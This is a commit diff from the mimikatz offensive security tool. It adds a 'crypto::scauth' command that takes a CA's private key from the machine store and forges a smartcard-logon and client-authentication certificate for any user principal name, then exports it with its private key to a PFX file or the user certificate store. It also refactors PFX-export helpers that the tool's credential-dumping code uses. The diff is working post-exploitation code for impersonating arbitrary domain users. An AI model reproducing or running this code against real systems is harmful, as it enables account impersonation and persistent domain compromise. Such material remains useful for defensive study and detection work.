[new] mimikatz crypto::scauth to create SmartCard Authentification certificate from a CA certificate

[internal] UuidCreate for new GUID
[internal] CryptDLL RandomKey function is now supported
[internal] crypto module new functions to deal with importing certificate with key in stores
This commit is contained in:
Benjamin DELPY 2016-09-11 00:07:33 +03:00
parent 8268f37387
commit 11f478e1e6
7 changed files with 323 additions and 70 deletions

View File

@ -16,6 +16,7 @@ const KUHL_M_C kuhl_m_c_crypto[] = {
{kuhl_m_crypto_l_keys, L"keys", L"List (or export) keys containers"},
{kuhl_m_crypto_hash, L"hash", L"Hash a password with optional username"},
{kuhl_m_crypto_system, L"system", L"Describe a Windows System Certificate (file, TODO:registry or hive)"},
{kuhl_m_crypto_c_sc_auth, L"scauth", L"Create a authentication certitifate (smartcard like) from a CA"},
{kuhl_m_crypto_p_capi, L"capi", L"[experimental] Patch CryptoAPI layer for easy export"},
{kuhl_m_crypto_p_cng, L"cng", L"[experimental] Patch CNG service for easy export"},
@ -594,7 +595,7 @@ void kuhl_m_crypto_exportCert(PCCERT_CONTEXT pCertificate, BOOL havePrivateKey,
isExported = FALSE;
if(CertAddCertificateContextToStore(hTempStore, pCertificate, CERT_STORE_ADD_NEW, &pCertContextCopy))
{
isExported = kuhl_m_crypto_exportPfx(hTempStore, fileNameBuffer);
isExported = kull_m_crypto_exportPfx(hTempStore, fileNameBuffer);
CertFreeCertificateContext(pCertContextCopy);
}
kprintf(L"\tPrivate export : %s - ", isExported ? L"OK" : L"KO");
@ -609,60 +610,6 @@ void kuhl_m_crypto_exportCert(PCCERT_CONTEXT pCertificate, BOOL havePrivateKey,
CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG);
}
BOOL kuhl_m_crypto_exportPfx(HCERTSTORE hStore, LPCWSTR filename)
{
BOOL isExported = FALSE;
CRYPT_DATA_BLOB bDataBlob = {0, NULL};
if(PFXExportCertStoreEx(hStore, &bDataBlob, MIMIKATZ, NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
{
if(bDataBlob.pbData = (BYTE *) LocalAlloc(LPTR, bDataBlob.cbData))
{
if(PFXExportCertStoreEx(hStore, &bDataBlob, MIMIKATZ, NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
isExported = kull_m_file_writeData(filename, bDataBlob.pbData, bDataBlob.cbData);
LocalFree(bDataBlob.pbData);
}
}
if(!isExported)
PRINT_ERROR_AUTO(L"PFXExportCertStoreEx");
return isExported;
}
BOOL kuhl_m_crypto_DerAndKeyToPfx(LPCVOID der, DWORD derLen, LPCVOID key, DWORD keyLen, BOOL isPvk, LPCWSTR filename) // no PVK support at this time
{
BOOL isExported = FALSE;
CRYPT_KEY_PROV_INFO infos = {NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, 0, 0, NULL, AT_KEYEXCHANGE};
HCRYPTPROV hCryptProv;
HCRYPTKEY hCryptKey;
PCCERT_CONTEXT pCertContext;
HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, 0, CERT_STORE_CREATE_NEW_FLAG, NULL);
if(infos.pwszContainerName = kull_m_string_getRandomGUID())
{
if(CertAddEncodedCertificateToStore(hTempStore, X509_ASN_ENCODING, (LPCBYTE) der, derLen, CERT_STORE_ADD_NEW, &pCertContext))
{
if(CryptAcquireContext(&hCryptProv, infos.pwszContainerName, infos.pwszProvName, infos.dwProvType, CRYPT_NEWKEYSET))
{
if(CryptImportKey(hCryptProv, (LPCBYTE) key, keyLen, 0, CRYPT_EXPORTABLE, &hCryptKey))
{
if(CertSetCertificateContextProperty(pCertContext, CERT_KEY_PROV_INFO_PROP_ID, 0, (LPCVOID) &infos))
isExported = kuhl_m_crypto_exportPfx(hTempStore, filename);
CryptDestroyKey(hCryptKey);
}
else PRINT_ERROR_AUTO(L"CryptImportKey");
CryptReleaseContext(hCryptProv, 0);
if(!CryptAcquireContext(&hCryptProv, infos.pwszContainerName, NULL, PROV_RSA_FULL, CRYPT_DELETEKEYSET))
PRINT_ERROR(L"Unable to delete temp keyset %s\n", infos.pwszContainerName);
}
else PRINT_ERROR_AUTO(L"CryptAcquireContext");
CertFreeCertificateContext(pCertContext);
}
else PRINT_ERROR_AUTO(L"CertAddEncodedCertificateToStore");
LocalFree(infos.pwszContainerName);
}
CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG);
return isExported;
}
wchar_t * kuhl_m_crypto_generateFileName(const wchar_t * term0, const wchar_t * term1, const DWORD index, const wchar_t * name, const wchar_t * ext)
{
wchar_t * buffer;
@ -874,6 +821,225 @@ void kuhl_m_crypto_file_rawData(PKUHL_M_CRYPTO_CERT_PROP prop, PCWCHAR inFile, B
}
}
BOOL kuhl_m_crypto_c_sc_auth_quickEncode(__in LPCSTR lpszStructType, __in const void *pvStructInfo, PDATA_BLOB data)
{
BOOL status = FALSE;
data->cbData = 0;
data->pbData = NULL;
if(CryptEncodeObject(PKCS_7_ASN_ENCODING | X509_ASN_ENCODING, lpszStructType, pvStructInfo, NULL, &data->cbData))
{
if(data->pbData = (PBYTE) LocalAlloc(LPTR, data->cbData))
{
if(!(status = CryptEncodeObject(PKCS_7_ASN_ENCODING | X509_ASN_ENCODING, lpszStructType, pvStructInfo, data->pbData, &data->cbData)))
{
PRINT_ERROR_AUTO(L"CryptEncodeObject (data)");
LocalFree(data->pbData);
}
}
}
else PRINT_ERROR_AUTO(L"CryptEncodeObject (init)");
return status;
}
BOOL kuhl_m_crypto_c_sc_auth_Ext_AltUPN(PCERT_EXTENSION pCertExtension, LPCWSTR upn)
{
BOOL status = FALSE;
CERT_NAME_VALUE otherNameValue = {CERT_RDN_UTF8_STRING, (DWORD) wcslen(upn) * sizeof(wchar_t), (PBYTE) upn};
CERT_OTHER_NAME otherName = {szOID_NT_PRINCIPAL_NAME, {0, NULL}};
CERT_ALT_NAME_ENTRY altName = {CERT_ALT_NAME_OTHER_NAME, &otherName};
CERT_ALT_NAME_INFO AltName = {1, &altName};
pCertExtension->pszObjId = szOID_SUBJECT_ALT_NAME2;
pCertExtension->fCritical = FALSE;
if(kuhl_m_crypto_c_sc_auth_quickEncode(X509_UNICODE_ANY_STRING, &otherNameValue, &otherName.Value))
{
status = kuhl_m_crypto_c_sc_auth_quickEncode(pCertExtension->pszObjId, &AltName, &pCertExtension->Value);
LocalFree(otherName.Value.pbData);
}
return status;
}
BOOL kuhl_m_crypto_c_sc_auth_Ext_KU(PCERT_EXTENSION pCertExtension, WORD bits)
{
CRYPT_BIT_BLOB bit = {sizeof(bits), (PBYTE) &bits, 5};
pCertExtension->pszObjId = szOID_KEY_USAGE;
pCertExtension->fCritical = TRUE;
return kuhl_m_crypto_c_sc_auth_quickEncode(pCertExtension->pszObjId, &bit, &pCertExtension->Value);
}
BOOL kuhl_m_crypto_c_sc_auth_Ext_EKU(PCERT_EXTENSION pCertExtension, DWORD count, ...)
{
BOOL status = FALSE;
DWORD i;
va_list vaList;
CERT_ENHKEY_USAGE usage = {count, NULL};
pCertExtension->pszObjId = szOID_ENHANCED_KEY_USAGE;
pCertExtension->fCritical = FALSE;
if(usage.rgpszUsageIdentifier = (LPSTR *) LocalAlloc(LPTR, sizeof(LPSTR) * count))
{
va_start(vaList, count);
for(i = 0; i < count; i++)
usage.rgpszUsageIdentifier[i] = va_arg(vaList, LPSTR);
va_end(vaList);
status = kuhl_m_crypto_c_sc_auth_quickEncode(pCertExtension->pszObjId, &usage, &pCertExtension->Value);
LocalFree(usage.rgpszUsageIdentifier);
}
return status;
}
__inline void kuhl_m_crypto_c_sc_auth_Ext_Free(PCERT_EXTENSION pCertExtension)
{
if(pCertExtension->Value.pbData)
LocalFree(pCertExtension->Value.pbData);
}
NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[])
{
LPCWSTR szStoreCA, szNameCA, szUPN, szPfx = NULL;
HCERTSTORE hCertStoreCA;
PCCERT_CONTEXT pCertCtxCA;
HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hKeyCA;
DWORD dwKeySpecCA;
BOOL bToFreeCA, isExported = FALSE;
HCRYPTPROV hProvCERT;
HCRYPTKEY hKeyCERT;
BYTE SerialNumber[LM_NTLM_HASH_LENGTH];
CERT_RDN_ATTR rgNameAttr[] = {
{szOID_COMMON_NAME, CERT_RDN_UNICODE_STRING, {0, NULL}},
{szOID_ORGANIZATION_NAME, CERT_RDN_UNICODE_STRING, {sizeof(MIMIKATZ) - sizeof(wchar_t), (PBYTE) MIMIKATZ}},
{szOID_COUNTRY_NAME, CERT_RDN_UNICODE_STRING, {sizeof(L"FR") - sizeof(wchar_t), (PBYTE) L"FR"}},
};
CERT_RDN rgRDN = {ARRAYSIZE(rgNameAttr), rgNameAttr};
CERT_NAME_INFO Name = {1, &rgRDN};
CERT_EXTENSION Extensions[3] = {0}; // EKU, KU, AltNames
DWORD cbPublicKeyInfo;
PCERT_PUBLIC_KEY_INFO pbPublicKeyInfo;
CRYPT_KEY_PROV_INFO keyInfos = {NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_SILENT, 0, NULL, AT_KEYEXCHANGE};
CERT_INFO CertInfo = {0};
DWORD szCertificate = 0;
PBYTE Certificate = NULL;
if(keyInfos.pwszContainerName = kull_m_string_getRandomGUID())
{
CertInfo.dwVersion = CERT_V3;
CertInfo.SerialNumber.cbData = sizeof(SerialNumber);
CertInfo.SerialNumber.pbData = SerialNumber;
CertInfo.cExtension = ARRAYSIZE(Extensions);
CertInfo.rgExtension = Extensions;
CDGenerateRandomBits(CertInfo.SerialNumber.pbData, CertInfo.SerialNumber.cbData);
kull_m_string_args_byName(argc, argv, L"castore", &szStoreCA, L"LOCAL_MACHINE");
if(kull_m_string_args_byName(argc, argv, L"caname", &szNameCA, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"upn", &szUPN, NULL))
{
rgNameAttr[0].Value.cbData = (DWORD) wcslen(szUPN) * sizeof(wchar_t);
rgNameAttr[0].Value.pbData = (PBYTE) szUPN;
kprintf(L"CA store : %s\n", szStoreCA);
if(hCertStoreCA = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, kull_m_crypto_system_store_to_dword(szStoreCA) | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My"))
{
kprintf(L"CA name : %s\n", szNameCA);
if(pCertCtxCA = CertFindCertificateInStore(hCertStoreCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szNameCA, NULL))
{
kprintf(L"CA validity : "); kull_m_string_displayLocalFileTime(&pCertCtxCA->pCertInfo->NotBefore);
kprintf(L" -> "); kull_m_string_displayLocalFileTime(&pCertCtxCA->pCertInfo->NotAfter); kprintf(L"\n");
if(CryptAcquireCertificatePrivateKey(pCertCtxCA, CRYPT_ACQUIRE_CACHE_FLAG | CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG, NULL, &hKeyCA, &dwKeySpecCA, &bToFreeCA))
{
CertInfo.Issuer = pCertCtxCA->pCertInfo->Subject;
CertInfo.IssuerUniqueId = pCertCtxCA->pCertInfo->SubjectUniqueId;
CertInfo.NotBefore = pCertCtxCA->pCertInfo->NotBefore;
CertInfo.NotAfter = pCertCtxCA->pCertInfo->NotAfter;
CertInfo.SignatureAlgorithm = pCertCtxCA->pCertInfo->SignatureAlgorithm;
kprintf(L"Certificate UPN: %s\n", szUPN);
if(kuhl_m_crypto_c_sc_auth_quickEncode(X509_NAME, &Name, &CertInfo.Subject))
{
if(kuhl_m_crypto_c_sc_auth_Ext_EKU(&Extensions[0], 2, szOID_KP_SMARTCARD_LOGON, szOID_PKIX_KP_CLIENT_AUTH))
{
if(kuhl_m_crypto_c_sc_auth_Ext_KU(&Extensions[1], CERT_DIGITAL_SIGNATURE_KEY_USAGE | CERT_KEY_ENCIPHERMENT_KEY_USAGE))
{
if(kuhl_m_crypto_c_sc_auth_Ext_AltUPN(&Extensions[2], szUPN))
{
kprintf(L"Key container : %s\n", keyInfos.pwszContainerName);
kprintf(L"Key provider : %s\n", keyInfos.pwszProvName);
if(CryptAcquireContext(&hProvCERT, keyInfos.pwszContainerName, keyInfos.pwszProvName, keyInfos.dwProvType, CRYPT_NEWKEYSET | keyInfos.dwFlags))
{
if(CryptGenKey(hProvCERT, keyInfos.dwKeySpec, CRYPT_EXPORTABLE | (RSA1024BIT_KEY * 2), &hKeyCERT))
{
if(CryptExportPublicKeyInfo(hProvCERT, keyInfos.dwKeySpec, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, NULL, &cbPublicKeyInfo))
{
if(pbPublicKeyInfo = (PCERT_PUBLIC_KEY_INFO) LocalAlloc(LPTR, cbPublicKeyInfo))
{
if(CryptExportPublicKeyInfo(hProvCERT, keyInfos.dwKeySpec, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, pbPublicKeyInfo, &cbPublicKeyInfo))
{
CertInfo.SubjectPublicKeyInfo = *pbPublicKeyInfo;
if(CryptSignAndEncodeCertificate(hKeyCA, dwKeySpecCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, X509_CERT_TO_BE_SIGNED, &CertInfo, &CertInfo.SignatureAlgorithm, NULL, NULL, &szCertificate))
{
if(Certificate = (PBYTE) LocalAlloc(LPTR, szCertificate))
{
if(CryptSignAndEncodeCertificate(hKeyCA, dwKeySpecCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, X509_CERT_TO_BE_SIGNED, &CertInfo, &CertInfo.SignatureAlgorithm, NULL, Certificate, &szCertificate))
{
if(kull_m_string_args_byName(argc, argv, L"pfx", &szPfx, NULL))
{
isExported = kull_m_crypto_DerAndKeyInfoToPfx(Certificate, szCertificate, &keyInfos, szPfx);
kprintf(L"Private Export : %s - %s\n", szPfx, isExported ? L"OK" : L"KO");
}
else
{
isExported = kull_m_crypto_DerAndKeyInfoToStore(Certificate, szCertificate, &keyInfos, CERT_SYSTEM_STORE_CURRENT_USER, L"My", FALSE);
kprintf(L"Private Store : CERT_SYSTEM_STORE_CURRENT_USER/My - %s\n", isExported ? L"OK" : L"KO");
}
}
else PRINT_ERROR_AUTO(L"CryptSignAndEncodeCertificate (data)");
LocalFree(Certificate);
}
}
else PRINT_ERROR_AUTO(L"CryptSignAndEncodeCertificate (init)");
}
else PRINT_ERROR_AUTO(L"CryptExportPublicKeyInfo (data)");
LocalFree(pbPublicKeyInfo);
}
}
else PRINT_ERROR_AUTO(L"CryptExportPublicKeyInfo (init)");
CryptDestroyKey(hKeyCERT);
}
else PRINT_ERROR_AUTO(L"CryptGenKey");
CryptReleaseContext(hProvCERT, 0);
if(!isExported || szPfx)
{
if(!CryptAcquireContext(&hProvCERT, keyInfos.pwszContainerName, keyInfos.pwszProvName, keyInfos.dwProvType, CRYPT_DELETEKEYSET | keyInfos.dwFlags))
PRINT_ERROR_AUTO(L"Unable to delete temp keyset");
}
}
else PRINT_ERROR_AUTO(L"CryptAcquireContext");
kuhl_m_crypto_c_sc_auth_Ext_Free(&Extensions[2]);
}
kuhl_m_crypto_c_sc_auth_Ext_Free(&Extensions[1]);
}
kuhl_m_crypto_c_sc_auth_Ext_Free(&Extensions[0]);
}
LocalFree(CertInfo.Subject.pbData);
}
CryptReleaseContext(hKeyCA, 0);
}
else PRINT_ERROR_AUTO(L"CryptAcquireCertificatePrivateKey");
CertFreeCertificateContext(pCertCtxCA);
}
else PRINT_ERROR_AUTO(L"CertFindCertificateInStore");
CertCloseStore(hCertStoreCA, CERT_CLOSE_STORE_FORCE_FLAG);
}
else PRINT_ERROR_AUTO(L"CertOpenStore");
}
else PRINT_ERROR(L"/upn:user@domain.local needed\n");
}
else PRINT_ERROR(L"/caname:CA-KIWI needed\n");
LocalFree(keyInfos.pwszContainerName);
}
return STATUS_SUCCESS;
}
BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
#ifdef _M_X64

View File

@ -66,6 +66,7 @@ NTSTATUS kuhl_m_crypto_l_certificates(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_crypto_l_keys(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_crypto_hash(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_crypto_system(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_crypto_p_capi(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_crypto_p_cng(int argc, wchar_t * argv[]);
@ -76,7 +77,5 @@ void kuhl_m_crypto_printKeyInfos(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv, HCRYPT
void kuhl_m_crypto_exportRawKeyToFile(LPCVOID data, DWORD size, BOOL isCNG, const wchar_t * store, const DWORD index, const wchar_t * name, BOOL wantExport, BOOL wantInfos);
void kuhl_m_crypto_exportKeyToFile(NCRYPT_KEY_HANDLE hCngKey, HCRYPTKEY hCapiKey, DWORD keySpec, const wchar_t * store, const DWORD index, const wchar_t * name);
void kuhl_m_crypto_exportCert(PCCERT_CONTEXT pCertificate, BOOL havePrivateKey, const wchar_t * systemStore, const wchar_t * store, const DWORD index, const wchar_t * name);
BOOL kuhl_m_crypto_exportPfx(HCERTSTORE hStore, LPCWSTR filename);
BOOL kuhl_m_crypto_DerAndKeyToPfx(LPCVOID der, DWORD derLen, LPCVOID key, DWORD keyLen, BOOL isPvk, LPCWSTR filename);
wchar_t * kuhl_m_crypto_generateFileName(const wchar_t * term0, const wchar_t * term1, const DWORD index, const wchar_t * name, const wchar_t * ext);
void kuhl_m_crypto_file_rawData(PKUHL_M_CRYPTO_CERT_PROP prop, PCWCHAR inFile, BOOL isExport);

View File

@ -1544,7 +1544,7 @@ void kuhl_m_lsadump_analyzeKey(LPCGUID guid, PKIWI_BACKUP_KEY secret, DWORD size
len = secret->certLen;
if(filename = kuhl_m_crypto_generateFileName(L"ntds", L"capi", 0, shortname, L"pfx"))
{
kprintf(L"\tPFX container : %s - \'%s\'\n", kuhl_m_crypto_DerAndKeyToPfx(data, len, secret->data, secret->keyLen, FALSE, filename) ? L"OK" : L"KO", filename);
kprintf(L"\tPFX container : %s - \'%s\'\n", kull_m_crypto_DerAndKeyToPfx(data, len, secret->data, secret->keyLen, FALSE, filename) ? L"OK" : L"KO", filename);
LocalFree(filename);
}
filename = kuhl_m_crypto_generateFileName(L"ntds", L"capi", 0, shortname, L"der");

View File

@ -520,6 +520,89 @@ BOOL kull_m_crypto_genericAES128Decrypt(LPCVOID pKey, LPCVOID pIV, LPCVOID pData
return status;
}
BOOL kull_m_crypto_exportPfx(HCERTSTORE hStore, LPCWSTR filename)
{
BOOL isExported = FALSE;
CRYPT_DATA_BLOB bDataBlob = {0, NULL};
if(PFXExportCertStoreEx(hStore, &bDataBlob, MIMIKATZ, NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
{
if(bDataBlob.pbData = (BYTE *) LocalAlloc(LPTR, bDataBlob.cbData))
{
if(PFXExportCertStoreEx(hStore, &bDataBlob, MIMIKATZ, NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
isExported = kull_m_file_writeData(filename, bDataBlob.pbData, bDataBlob.cbData);
LocalFree(bDataBlob.pbData);
}
}
if(!isExported)
PRINT_ERROR_AUTO(L"PFXExportCertStoreEx");
return isExported;
}
BOOL kull_m_crypto_DerAndKeyToPfx(LPCVOID der, DWORD derLen, LPCVOID key, DWORD keyLen, BOOL isPvk, LPCWSTR filename) // no PVK support at this time
{
BOOL isExported = FALSE;
CRYPT_KEY_PROV_INFO infos = {NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, 0, 0, NULL, AT_KEYEXCHANGE};
HCRYPTPROV hCryptProv;
HCRYPTKEY hCryptKey;
if(infos.pwszContainerName = kull_m_string_getRandomGUID())
{
if(CryptAcquireContext(&hCryptProv, infos.pwszContainerName, infos.pwszProvName, infos.dwProvType, CRYPT_NEWKEYSET))
{
if(CryptImportKey(hCryptProv, (LPCBYTE) key, keyLen, 0, CRYPT_EXPORTABLE, &hCryptKey))
{
isExported = kull_m_crypto_DerAndKeyInfoToPfx(der, derLen, &infos, filename);
CryptDestroyKey(hCryptKey);
}
else PRINT_ERROR_AUTO(L"CryptImportKey");
CryptReleaseContext(hCryptProv, 0);
if(!CryptAcquireContext(&hCryptProv, infos.pwszContainerName, NULL, PROV_RSA_FULL, CRYPT_DELETEKEYSET))
PRINT_ERROR(L"Unable to delete temp keyset %s\n", infos.pwszContainerName);
}
else PRINT_ERROR_AUTO(L"CryptAcquireContext");
LocalFree(infos.pwszContainerName);
}
return isExported;
}
BOOL kull_m_crypto_DerAndKeyInfoToPfx(LPCVOID der, DWORD derLen, PCRYPT_KEY_PROV_INFO pInfo, LPCWSTR filename)
{
BOOL isExported = FALSE;
HCERTSTORE hTempStore;
PCCERT_CONTEXT pCertContext;
if(hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, 0, CERT_STORE_CREATE_NEW_FLAG, NULL))
{
if(CertAddEncodedCertificateToStore(hTempStore, X509_ASN_ENCODING, (LPCBYTE) der, derLen, CERT_STORE_ADD_NEW, &pCertContext))
{
if(CertSetCertificateContextProperty(pCertContext, CERT_KEY_PROV_INFO_PROP_ID, 0, (LPCVOID) pInfo))
isExported = kull_m_crypto_exportPfx(hTempStore, filename);
else PRINT_ERROR_AUTO(L"CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID)");
CertFreeCertificateContext(pCertContext);
}
else PRINT_ERROR_AUTO(L"CertAddEncodedCertificateToStore");
CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG);
}
return isExported;
}
BOOL kull_m_crypto_DerAndKeyInfoToStore(LPCVOID der, DWORD derLen, PCRYPT_KEY_PROV_INFO pInfo, DWORD systemStore, LPCWSTR store, BOOL force)
{
BOOL status = FALSE;
HCERTSTORE hTempStore;
PCCERT_CONTEXT pCertContext;
if(hTempStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, 0, CERT_STORE_OPEN_EXISTING_FLAG | systemStore, store))
{
if(CertAddEncodedCertificateToStore(hTempStore, X509_ASN_ENCODING, (LPCBYTE) der, derLen, force ? CERT_STORE_ADD_ALWAYS : CERT_STORE_ADD_NEW, &pCertContext))
{
if(!(status = CertSetCertificateContextProperty(pCertContext, CERT_KEY_PROV_INFO_PROP_ID, 0, (LPCVOID) pInfo)))
PRINT_ERROR_AUTO(L"CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID)");
CertFreeCertificateContext(pCertContext);
}
else PRINT_ERROR_AUTO(L"CertAddEncodedCertificateToStore");
CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG);
}
return status;
}
const KULL_M_CRYPTO_DUAL_STRING_DWORD kull_m_crypto_system_stores[] = {
{L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER},
{L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY},

View File

@ -7,6 +7,7 @@
#include "globals.h"
#include "kull_m_string.h"
#include "kull_m_crypto_system.h"
#include "kull_m_file.h"
#define CALG_CRC32 (ALG_CLASS_HASH | ALG_TYPE_ANY | 0)
@ -30,6 +31,10 @@ typedef struct _RSA_GENERICKEY_BLOB {
#define PVK_RC4_PASSWORD_ENCRYPT 1
#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2
#ifndef IPSEC_FLAG_CHECK
#define IPSEC_FLAG_CHECK 0xf42a19b6
#endif
typedef struct _PVK_FILE_HDR {
DWORD dwMagic;
DWORD dwVersion;
@ -68,6 +73,11 @@ DWORD kull_m_crypto_cipher_keylen(ALG_ID hashId);
NTSTATUS kull_m_crypto_get_dcc(PBYTE dcc, PBYTE ntlm, PUNICODE_STRING Username, DWORD realIterations);
BOOL kull_m_crypto_genericAES128Decrypt(LPCVOID pKey, LPCVOID pIV, LPCVOID pData, DWORD dwDataLen, LPVOID *pOut, DWORD *dwOutLen);
BOOL kull_m_crypto_exportPfx(HCERTSTORE hStore, LPCWSTR filename);
BOOL kull_m_crypto_DerAndKeyToPfx(LPCVOID der, DWORD derLen, LPCVOID key, DWORD keyLen, BOOL isPvk, LPCWSTR filename);
BOOL kull_m_crypto_DerAndKeyInfoToPfx(LPCVOID der, DWORD derLen, PCRYPT_KEY_PROV_INFO pInfo, LPCWSTR filename);
BOOL kull_m_crypto_DerAndKeyInfoToStore(LPCVOID der, DWORD derLen, PCRYPT_KEY_PROV_INFO pInfo, DWORD systemStore, LPCWSTR store, BOOL force);
typedef struct _KULL_M_CRYPTO_DUAL_STRING_DWORD {
PCWSTR name;
DWORD id;

View File

@ -157,7 +157,7 @@ typedef NTSTATUS (WINAPI * PKERB_ECRYPT_DECRYPT) (PVOID pContext, LPCVOID Data,
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_FINISH) (PVOID * pContext);
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_HASHPASSWORD_NT5) (PCUNICODE_STRING String, PVOID Output);
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_HASHPASSWORD_NT6) (PCUNICODE_STRING Password, PCUNICODE_STRING Salt, DWORD Count, PVOID Output);
// RandomKey
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_RANDOMKEY) (LPCVOID Key, DWORD KeySize, PVOID Output);
// Control
typedef struct _KERB_ECRYPT {
@ -177,7 +177,7 @@ typedef struct _KERB_ECRYPT {
PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;
PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;
};
PVOID RandomKey;
PKERB_ECRYPT_RANDOMKEY RandomKey;
PVOID Control;
PVOID unk0_null;
PVOID unk1_null;

View File

@ -249,20 +249,15 @@ PWSTR kull_m_string_getRandomGUID()
{
UNICODE_STRING uString;
GUID guid;
HCRYPTPROV hTmpCryptProv;
PWSTR buffer = NULL;
if(CryptAcquireContext(&hTmpCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
if(NT_SUCCESS(UuidCreate(&guid)))
{
if(CryptGenRandom(hTmpCryptProv, sizeof(GUID), (PBYTE) &guid))
if(NT_SUCCESS(RtlStringFromGUID(&guid, &uString)))
{
if(NT_SUCCESS(RtlStringFromGUID(&guid, &uString)))
{
if(buffer = (PWSTR) LocalAlloc(LPTR, uString.MaximumLength))
RtlCopyMemory(buffer, uString.Buffer, uString.MaximumLength);
RtlFreeUnicodeString(&uString);
}
if(buffer = (PWSTR) LocalAlloc(LPTR, uString.MaximumLength))
RtlCopyMemory(buffer, uString.Buffer, uString.MaximumLength);
RtlFreeUnicodeString(&uString);
}
CryptReleaseContext(hTmpCryptProv, 0);
}
return buffer;
}